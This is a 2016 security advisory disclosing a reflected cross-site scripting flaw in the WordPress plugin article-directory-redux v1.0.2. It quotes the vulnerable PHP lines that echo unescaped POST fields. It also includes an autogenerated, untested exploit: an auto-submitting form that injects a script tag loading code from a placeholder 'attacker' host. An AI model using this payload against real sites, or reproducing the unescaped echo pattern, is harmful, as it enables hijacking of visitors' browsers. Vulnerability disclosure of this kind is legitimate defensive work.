Advisory #: 1061
Title: Reflected XSS in wordpress plugin article-directory-redux v1.0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
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Downloads: 2279
Vendor Notified: 2016-02-09
Export: Json
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Plugin Name: article-directory-redux
There is a reflected XSS vulnerability in the following php code ./article-directory-redux/author-panel.php: 258: <div id="post_title"><label><?php _e('Article title', 'article-directory'); ?></label><input type="text" name="title" value="<?php echo $_POST['title'] ?>" /></div> 324: <div id="newtags"><input type="text" name="newtags" size="16" value="<?php echo $_POST['newtags']; ?>" /></div> The variable title appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from
  3. <form name=TheForm action=http://[target]/wp-content/plugins/article-directory-redux/author-panel.php method=post> <input type=hidden name=title value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>